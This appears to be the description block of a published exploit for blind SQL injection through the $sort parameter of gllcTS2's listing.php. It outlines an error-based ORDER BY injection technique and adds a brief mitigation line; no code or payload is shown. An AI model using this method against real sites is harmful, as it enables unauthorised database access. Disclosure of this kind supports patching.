gllcTS2 (listing.php $sort) Remote Blind SQL Injection Exploit

This exploit shows another vulnerability in the gllcTS2. It is a blind SQL injection exploit which shows the concept of how to inject an ORDER BY statement via Blind Injection and WITHOUT benchmark(), means it produces an error if the IF statement returns TRUE.

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.

#
#This one shows another vulnerability in the gllcTS2. (Thera are many with simple injections)
#Same Versions are affected.
#Also shows the conecpt of how to inject an ORDER BY statement via Blind Injection and
#WITHOUT benchmark(), means we produce an error if the IF statement returns TRUE.
